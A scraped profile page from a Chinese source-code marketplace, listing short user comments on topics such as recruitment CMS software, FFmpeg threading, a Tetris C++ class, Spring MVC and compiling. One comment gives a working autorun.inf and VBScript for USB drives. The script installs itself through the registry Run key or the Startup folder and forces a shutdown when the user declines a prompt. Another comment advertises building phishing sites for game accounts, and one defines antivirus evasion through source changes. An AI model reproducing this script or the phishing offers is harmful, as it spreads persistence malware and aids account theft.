https://www.myziyuan.com/
- ***
- 访客数:665
- TA的活跃度
-
近30天登录:0
商品总评价:0
资讯总评论:1937
发表文章:0
- 【点评】 招聘系统源码(人才招聘网站源码)
- 2021-02-11 23:29:15
- 哪里有招聘网站源码,源码有很多的,工作易,江阴人才系统,骑士cms,不过现在除了骑士还有更新,别的都停更了,江阴的以前也挺好用,关键是便宜,后来php开始流行起来,就换成骑士cms了,总体来说,骑士的体验更好一些,不过价格有点高啊·····
- 【点评】 捕鱼游戏源码(手机捕鱼万能辅助器下载)
- 2021-02-11 23:27:05
- 钓鱼网站制作网站加后台。 5173钓鱼源码。支持各种QQ游戏.网络游戏。免费测试,最好不要用这种东西
- 【点评】 排行榜源码(源码市场排行)
- 2021-02-11 22:47:23
- 可以给你的数据库里面添加一个投票次数的字段,根据这个字段,查询时候SQL语句后面 order by 投票次数 desc 就可以排行了。
- 【点评】 网赚源码(试玩插件源码)
- 2021-02-11 21:05:56
- http://www.knowsky.com/code/ 网页源码下载中心http://down.cnzz.cn/ 中国站长http://www.codepub.com/ 源码网
- 【点评】 ffmpeg源码(ffmpeg视频解码)
- 2021-02-11 21:03:36
- 使用场景:用AForge.Video.FFMPEG.VideoFileWriter对象,将图片压缩成avi视频,压缩算法mpeg4,帧率5,多线程(32路并发)。事项1: Open视频文件时,请加上全局锁,否则多线程并发时会提示“Video file resolution must be a multiple of two.”异常。事项2: Close视频文件时,请使用事项1的全局锁,否则会在Open 时出现“AccessViolationException”异常。(解决该问题花了2天)事项3: WriteVideoFrame时,请把图片加锁,可能会提示“访问受保护的内存”之类的错误,那是因为内存已经耗尽,需查看程序的内存泄露问题。总体来说,FFMPEG库还是挺稳定的,对多线的支持也比较好,如果出错,基本上是上层的使用问题,注意保持线程同步即可。另外就是特别注意一下Open和Close需要用同一个锁。
- 【点评】 俄罗斯方块源码(c语言俄罗斯方块最简单代码)
- 2021-02-11 20:31:55
- #pragma once#include "afxwin.h"#include "Resource.h"const int BLOCK_LINE = 20;const int BLOCK_ROW = 10;class CBlock{public: CBlock(void); ~CBlock(void);private: int m_BlockShape; int m_nextBlockShape; int m_BlockState; int m_BlockLevel; int m_BlockCurDelLine; bool m_blockRunning; POINT m_BlockPos[4]; POINT m_nextBlockPos[4]; int m_Blockmap[BLOCK_LINE][BLOCK_ROW];public: void BlockInit( void );private: CBitmap m_bmpBlock[7];public: void CreateNewBlock(void); void MakeNewBlock(int shape, POINT pt[], int xPos); //CDC memDC; void DrawBlock(CDC* pDC); void BlockDropDown(CDC* pDC); void HideBlock(CDC* pDC);private: CBitmap m_bmpBKGND;public: void DrawNextBlock( CDC* pDC ); void BlockLeft(CDC* pDC); void BlockRight(CDC* pDC); void BlockFastDown(CDC* pDC); void ChangeState(CDC* pDC); void DeleteLine(CDC* pDC, int LineNum, bool start); bool BlockGameOver(void); void BlockScore(int del, CDC* pDC); bool BlockLevelUp(void); int BlockSpeed(void);};#include "StdAfx.h"#include "Block.h"CBlock::CBlock(void){ srand( (unsigned)time(NULL) ); m_BlockShape = 0; m_nextBlockShape = rand()%7; m_BlockState = 0; m_BlockLevel = 1; m_BlockCurDelLine = 0; m_blockRunning = false; memset(m_Blockmap, 0, sizeof(m_Blockmap) );}CBlock::~CBlock(void){}void CBlock::BlockInit( void ){ for( int i=0; i<7; i++) { m_bmpBlock[i].LoadBitmapW( IDB_BLOCKBAR+i ); } m_bmpBKGND.LoadBitmapW( IDB_BMPBACK );}void CBlock::CreateNewBlock(void){ m_BlockShape = m_nextBlockShape; m_nextBlockShape = rand()%7; m_BlockState = 0; MakeNewBlock( m_BlockShape, m_BlockPos, 4 );}void CBlock::MakeNewBlock(int shape, POINT pt[], int xPos){ switch(shape) { case 0: for(int i=0; i<4; i++) { pt[i].x=i+xPos; pt[i].y=0; } break; case 1: pt[0].x = 1+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 2: pt[0].x = 0+xPos; pt[0].y = 0; pt[1].x = 1+xPos; pt[1].y = 0; pt[2].x = 1+xPos; pt[2].y = 1; pt[3].x = 2+xPos; pt[3].y = 1; break; case 3: pt[0].x = 0+xPos; pt[0].y = 1; pt[1].x = 1+xPos; pt[1].y = 1; pt[2].x = 1+xPos; pt[2].y = 0; pt[3].x = 2+xPos; pt[3].y = 0; break; case 4: pt[0].x = 0+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 5: pt[0].x = 2+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 6: for(int i=0; i<2; i++) { pt[i].x = i+xPos; pt[i].y = 0; pt[i+2].x = i+xPos; pt[i+2].y = 1; } break; default: break; }}void CBlock::DrawBlock(CDC* pDC){ //BlockInit(); //MakeNewBlock( m_BlockShape, m_BlockPos, 4 ); CDC memDC; memDC.CreateCompatibleDC(pDC); memDC.SelectObject( &m_bmpBlock[m_BlockShape] ) ; int x = BLOCK_X; int y = BLOCK_Y; for( int i = 0; i<4; i++ ) { x = BLOCK_X + m_BlockPos[i].x*BLOCK_WIDTH; y = BLOCK_Y + m_BlockPos[i].y*BLOCK_HEIGHT; pDC->BitBlt( x, y, 20, 20, &memDC, 0, 0, SRCCOPY ); }}void CBlock::BlockDropDown( CDC* pDC ){ int i,j; bool bAbleDrop = true; for( i=0; i<4; i++ ) { if( 19 == m_BlockPos[i].y || 0 != m_Blockmap[m_BlockPos[i].y+1][m_BlockPos[i].x] ) { bAbleDrop = false; break; } } if( true == bAbleDrop ) { HideBlock( pDC ); for( i=0; i<4; i++ ) { m_BlockPos[i].y++; } DrawBlock( pDC ); } else { for( i=0; i<4; i++ ) { m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x] = m_BlockShape+1; } for( i=0; i<20; i++ ) { for( j=0; j<10; j++ ) { if( 0 == m_Blockmap[i][j] ) { break; } } if( 10 == j ) { DeleteLine( pDC, i, false ); m_BlockCurDelLine++; BlockScore(1, pDC ); } } CreateNewBlock(); MakeNewBlock( m_BlockShape, m_BlockPos, 4 ); DrawBlock( pDC ); DrawNextBlock( pDC ); }}void CBlock::HideBlock(CDC* pDC){ CDC bkDC; bkDC.CreateCompatibleDC(pDC); bkDC.SelectObject(m_bmpBKGND); int x, y; for( int i=0; i<4; i++ ) { x = BLOCK_X+BLOCK_WIDTH*m_BlockPos[i].x; y = BLOCK_Y+BLOCK_HEIGHT*m_BlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, x, y, SRCCOPY ); } bkDC.DeleteDC();}void CBlock::DrawNextBlock( CDC* pDC ){ CDC bkDC; bkDC.CreateCompatibleDC( pDC ); bkDC.SelectObject( m_bmpBKGND ); int x ,y; pDC->BitBlt( NEXTBLOCK_X, NEXTBLOCK_Y, NEXTBLOCK_WIDTH, NEXTBLOCK_HEIGHT, &bkDC, NEXTBLOCK_X, NEXTBLOCK_Y, SRCCOPY ); MakeNewBlock( m_nextBlockShape, m_nextBlockPos, 0 ); bkDC.SelectObject( m_bmpBlock[m_nextBlockShape] ); if( 0 == m_nextBlockShape ) { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 15 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 47 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } } else if( 6 == m_nextBlockShape ) { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 35 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 38 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } } else { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 24 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 38 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } }}void CBlock::BlockLeft(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].x <= 0 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x-1] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].x -= 1; } DrawBlock( pDC );}void CBlock::BlockRight(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].x >= 9 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x+1] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].x += 1; } DrawBlock( pDC );}void CBlock::BlockFastDown(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].y >= 19 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y+1][m_BlockPos[i].x] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].y += 1; } DrawBlock( pDC );}#include "StdAfx.h"#include "Block.h"CBlock::CBlock(void){ srand( (unsigned)time(NULL) ); m_BlockShape = 0; m_nextBlockShape = rand()%7; m_BlockState = 0; m_BlockLevel = 1; m_BlockCurDelLine = 0; m_blockRunning = false; memset(m_Blockmap, 0, sizeof(m_Blockmap) );}CBlock::~CBlock(void){}void CBlock::BlockInit( void ){ for( int i=0; i<7; i++) { m_bmpBlock[i].LoadBitmapW( IDB_BLOCKBAR+i ); } m_bmpBKGND.LoadBitmapW( IDB_BMPBACK );}void CBlock::CreateNewBlock(void){ m_BlockShape = m_nextBlockShape; m_nextBlockShape = rand()%7; m_BlockState = 0; MakeNewBlock( m_BlockShape, m_BlockPos, 4 );}void CBlock::MakeNewBlock(int shape, POINT pt[], int xPos){ switch(shape) { case 0: for(int i=0; i<4; i++) { pt[i].x=i+xPos; pt[i].y=0; } break; case 1: pt[0].x = 1+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 2: pt[0].x = 0+xPos; pt[0].y = 0; pt[1].x = 1+xPos; pt[1].y = 0; pt[2].x = 1+xPos; pt[2].y = 1; pt[3].x = 2+xPos; pt[3].y = 1; break; case 3: pt[0].x = 0+xPos; pt[0].y = 1; pt[1].x = 1+xPos; pt[1].y = 1; pt[2].x = 1+xPos; pt[2].y = 0; pt[3].x = 2+xPos; pt[3].y = 0; break; case 4: pt[0].x = 0+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 5: pt[0].x = 2+xPos; pt[0].y = 0; for(int i=1; i<4; i++) { pt[i].x = i-1+xPos; pt[i].y = 1; } break; case 6: for(int i=0; i<2; i++) { pt[i].x = i+xPos; pt[i].y = 0; pt[i+2].x = i+xPos; pt[i+2].y = 1; } break; default: break; }}void CBlock::DrawBlock(CDC* pDC){ CDC memDC; memDC.CreateCompatibleDC(pDC); memDC.SelectObject( &m_bmpBlock[m_BlockShape] ) ; int x = BLOCK_X; int y = BLOCK_Y; for( int i = 0; i<4; i++ ) { x = BLOCK_X + m_BlockPos[i].x*BLOCK_WIDTH; y = BLOCK_Y + m_BlockPos[i].y*BLOCK_HEIGHT; pDC->BitBlt( x, y, 20, 20, &memDC, 0, 0, SRCCOPY ); }}void CBlock::BlockDropDown( CDC* pDC ){ int i,j; bool bAbleDrop = true; for( i=0; i<4; i++ ) { if( 19 == m_BlockPos[i].y || 0 != m_Blockmap[m_BlockPos[i].y+1][m_BlockPos[i].x] ) { bAbleDrop = false; break; } } if( true == bAbleDrop ) { HideBlock( pDC ); for( i=0; i<4; i++ ) { m_BlockPos[i].y++; } DrawBlock( pDC ); } else { for( i=0; i<4; i++ ) { m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x] = m_BlockShape+1; } for( i=0; i<20; i++ ) { for( j=0; j<10; j++ ) { if( 0 == m_Blockmap[i][j] ) { break; } } if( 10 == j ) { DeleteLine( pDC, i, false ); m_BlockCurDelLine++; BlockScore(1, pDC ); } } CreateNewBlock(); MakeNewBlock( m_BlockShape, m_BlockPos, 4 ); DrawBlock( pDC ); DrawNextBlock( pDC ); }}void CBlock::HideBlock(CDC* pDC){ CDC bkDC; bkDC.CreateCompatibleDC(pDC); bkDC.SelectObject(m_bmpBKGND); int x, y; for( int i=0; i<4; i++ ) { x = BLOCK_X+BLOCK_WIDTH*m_BlockPos[i].x; y = BLOCK_Y+BLOCK_HEIGHT*m_BlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, x, y, SRCCOPY ); } bkDC.DeleteDC();}void CBlock::DrawNextBlock( CDC* pDC ){ CDC bkDC; bkDC.CreateCompatibleDC( pDC ); bkDC.SelectObject( m_bmpBKGND ); int x ,y; pDC->BitBlt( NEXTBLOCK_X, NEXTBLOCK_Y, NEXTBLOCK_WIDTH, NEXTBLOCK_HEIGHT, &bkDC, NEXTBLOCK_X, NEXTBLOCK_Y, SRCCOPY ); MakeNewBlock( m_nextBlockShape, m_nextBlockPos, 0 ); bkDC.SelectObject( m_bmpBlock[m_nextBlockShape] ); if( 0 == m_nextBlockShape ) { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 15 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 47 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } } else if( 6 == m_nextBlockShape ) { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 35 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 38 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } } else { for( int i=0; i<4; i++ ) { x = NEXTBLOCK_X + 24 + BLOCK_WIDTH*m_nextBlockPos[i].x; y = NEXTBLOCK_Y + 38 + BLOCK_HEIGHT*m_nextBlockPos[i].y; pDC->BitBlt( x, y, BLOCK_WIDTH, BLOCK_HEIGHT, &bkDC, 0, 0, SRCCOPY ); } }}void CBlock::BlockLeft(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].x <= 0 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x-1] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].x -= 1; } DrawBlock( pDC );}void CBlock::BlockRight(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].x >= 9 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y][m_BlockPos[i].x+1] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].x += 1; } DrawBlock( pDC );}void CBlock::BlockFastDown(CDC* pDC){ for( int i=0; i<4; i++ ) { if( m_BlockPos[i].y >= 19 ) return; if( 0 != m_Blockmap[m_BlockPos[i].y+1][m_BlockPos[i].x] ) return; } HideBlock( pDC ); for( int i=0; i<4; i++ ) { m_BlockPos[i].y += 1; } DrawBlock( pDC );}
- 【点评】 源码免杀(vc代码优化)
- 2021-02-11 19:38:27
- 源码免杀指通过修改程序的源代码而达到免杀效果的免杀方法
- 【点评】 easyui 源码(PHP源码)
- 2021-02-11 19:35:22
- 用javascript 创建easyui datagrid 后台代码怎么写,后台返回 datagrid_data.json ;给个spring mvc 的例子供参考:package zjgs.eai.controller;import org.apache.commons.logging.Log;import org.apache.commons.logging.LogFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.ui.ModelMap;import org.springframework.web.bind.annotation.ModelAttribute;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import zjgs.comm.PageForDataGrid;import zjgs.eai.command.QuerySpErrorCommand;import zjgs.eai.service.EaiService;import javax.servlet.http.HttpServletRequest;@Controllerpublic class QuerySpErrorController { protected final Log logger = LogFactory.getLog(getClass()); @Autowired private EaiService eaiService; public EaiService getEaiService() { return eaiService; } //初始化 JSP 页面 @RequestMapping(value = "/eai/querySpError.htm", method = RequestMethod.GET) public String initPage(HttpServletRequest request) { request.setAttribute("querySpErrorCommand", new QuerySpErrorCommand()); return "eai/querySpError"; } //查询---返回对应的信息 @RequestMapping(value = "/eai/querySpSpxxByNsrsbh.json", method = RequestMethod.POST) public String getDataSetSpxx(@ModelAttribute("pojo") QuerySpErrorCommand querySpErrorCommand, ModelMap modelMap) { PageForDataGrid pageForDataGrid = new PageForDataGrid( this.getEaiService().getSpxxByXtsphm(querySpErrorCommand.getXtsphm()), 1, 100, modelMap ); pageForDataGrid.setDataGrid(); return "querySpSpxxByXtsphm.json"; } //查询---返回数据逻辑错误的日志信息 @RequestMapping(value = "/eai/querySpError.json", method = RequestMethod.POST) public String getDataSetErrorLog(@ModelAttribute("pojo") QuerySpErrorCommand querySpErrorCommand, ModelMap modelMap) { PageForDataGrid pageForDataGrid = new PageForDataGrid( this.getEaiService().getErrorLogByXtsphm(querySpErrorCommand.getXtsphm()), 1, 100, modelMap ); pageForDataGrid.setDataGrid(); return "querySpError.json"; }}
- 【点评】 html5游戏源码(简单的html小游戏100行代码)
- 2021-02-11 18:46:20
- h5游戏源码怎么用用什么软件可以跑,亲,您好,H5是Html5规范的简称,所以常规的动态H5在web服务器下部署后,直接在浏览器访问部署后的网址或服务器IP地址就可以看到效果。如果H5里面含有微信相关的授权可以试用微信开发者工具中的web模式访问也可以看到效果。希望可以帮到您。
- 【点评】 源码编译安装(php编译安装)
- 2021-02-11 18:24:55
- 用那类语言工具编写的源代码,在该语言的编译环境中用编译器编译。编译(compilation , compile) 功能:1、利用编译程序从源语言编写的源程序产生目标程序的过程。 2、用编译程序产生目标程序的动作。 编译就是把高级语言变成计算机可以识别的2进制语言,计算机只认识1和0,编译程序把人们熟悉的语言换成2进制的。 编译程序把一个源程序翻译成目标程序的工作过程分为五个阶段:词法分析;语法分析;语义检查和中间代码生成;代码优化;目标代码生成。主要是进行词法分析和语法分析,又称为源程序分析,分析过程中发现有语法错误,给出提示信息。编译语言是一种以编译器来实现的编程语言。它不像直译语言一样,由解释器将代码一句一句运行,而是以编译器,先将代码编译为机器码,再加以运行。理论上,任何编程语言都可以是编译式,或直译式的。它们之间的区别,仅与程序的应用有关。编译器就是将“一种语言(通常为高级语言)”翻译为“另一种语言(通常为低级语言)”的程序。一个现代编译器的主要工作流程:源代码 (source code) → 预处理器 (preprocessor) → 编译器 (compiler) → 目标代码 (object code) → 链接器 (Linker) → 可执行程序 (executables)。对于C#、VB等高级语言而言,此时编译器完成的功能是把源码(SourceCode)编译成通用中间语言(MSIL/CIL)的字节码(ByteCode)。最后运行的时候通过通用语言运行库的转换,编程最终可以被CPU直接计算的机器码(NativeCode)。参考:百度百科“编译”和“编译器”词条。
- 【点评】 小程序源码模板(小程序源码论坛)
- 2021-02-11 18:18:51
- 新建一个autorun.inf文件内容为 [autorun]ShellExecute=wxb.vbs新建一个wxb.vbs 文件内容为Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs.GetFile(WScript.ScriptFullName) str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"if (fs.FileExists(dirwin&"\wxb.vbs")) Then call Show_And_Do("reg")elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Next strr=""Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"strr=Wll.Regread (str)if strr="" thenc.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs") elsec.Copy(dirwin&"\wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("警告:您未经允许使用了小波的移动设备! " & Chr(13) & Chr(10) & "确定->我下次会先征得小波允许" & Chr(10) & "取消->我才不管他呢", 4145, "MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"\wxb.vbs")f.Delete()end ifElsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub以上两个文件同时放到磁盘根目录下面(移动盘也可),打开该盘时,会出现一个对话框,要求选择.你可以把代码中的 小波 改成你自己的名字.
- 【点评】 b站源码(b站github源代码)
- 2021-02-11 18:14:04
- 那个是高级弹幕的一种,类似于跳OP的高级弹幕.没记错的话好像是这个 Player.seek(xxx)xxx是跳转到的某个时间点的毫秒数 比如视频总共60秒 你要让他在第50秒结束循环 第9秒开始循环 就在50秒处发高级弹幕Player.seek(9000)尾巴上记得加上;
- 【点评】 区块链 源码(区块链开源代码查询网址)
- 2021-02-11 18:00:09
- 如果学习区块链的二次开发,用哪个开源库做基础比较好,这是一个比较专业的问题,需要去找专业的认识去讲解。不过,开源项目比特币、以太坊、DECENT都是可以借鉴的项目,可以去研究一下。当然,区块链本身只是一种技术,技术都具有双面性。
- 【点评】 打赏源码(2020视频打赏源码免费下载)
- 2021-02-11 17:52:42
- 现在这种
- 【点评】 优惠券源码(淘宝客内部优惠券源码)
- 2021-02-11 17:47:40
- 这类的网站源码不好找,其实你可以找那种信息发布及管理类的网站源码,asp+access会很多,然后根据自己的需要,稍加修改。其实像钱库网之类的,除非有个团队,否则管理起来相当麻烦,反而容易流失访客。
- 【点评】 会员系统源码(开源会员管理系统)
- 2021-02-11 17:25:48
- 简单会员注册系统,实际上是VB编程最起码的一个要求,它不是十分复杂,是一个简单的数据库操作实例。必须知道:1、如何连接数据库2、如何连接数据表3、如何在数据表添加新记录一、连接Access中的A.mdb数据库: Dim dbP As String dbP = App.Path & "\A.mdb" GSL = "ms access;pwd=abcd" '数据库A.mdb设置了abcd的密码保护 Set WorkDefault = DBEngine.Workspaces(0) Set db = DBEngine.Workspaces(0).OpenDatabase(dbP, False, False, GSL)二、连接A.mdb数据库中的“会员注册”数据表: strSQL = "SELECT * FROM 会员注册" '数据表连接字符串 Set RS = db.OpenRecordset(strSQL) '连接数据表三、在“会员注册”数据表中添加新记录,即会员注册: RS.AddNew '添加一条新记录 ’这里填写更新内容 ' 例如:RS("会员名称")=Text1.Text 'Text1.Text 是注册界面会员名称的输入文本框内容 'RS("登录密码")=Text2.Text 'Text2.Text 是注册界面会员密码的输入文本框内容 RS.UpDate '更新数据表数据四、千万别忘了关闭数据表记录集对象: RS.Close Set RS=NotHing
- 【点评】 h5 游戏 源码(h5游戏开发)
- 2021-02-11 16:00:27
- 想要系统源码,后续还不用收费的,我给你推荐一家我有合作的一家公司吧,溪谷科技就专门做这方面的系统开发,购买的系统提供源码,还能进行定制,目前他们家有h5联运系统的免费版本已经上线,您可以去体验系统的功能,具体客服详聊。
- 【点评】 电影源码(源代码电影资源)
- 2021-02-11 15:04:24
- 圣域家园
- 【点评】 后台源码(后端源码)
- 2021-02-11 14:57:30
- 后台修改源文件,这要根据具体程序来看,很多都不能在后台修改的,如果你只是设置网站的头部或底部,后台应该可以设置的。另外可以联系下以前做网站的,找那边要FTP相关资料。
- 【点评】 源码编译(magma源码编译方法)
- 2021-02-11 14:31:52
- 听我一步步做:你用电脑下载winTC,然后安装winTC,打开winTC,单击文件、新建,然后去网上下载C语言源代码,将源代码复制到winTC里,编译,运行,就ok了,现在知道源代码是什么吗
手机版
扫一扫进手机版
返回顶部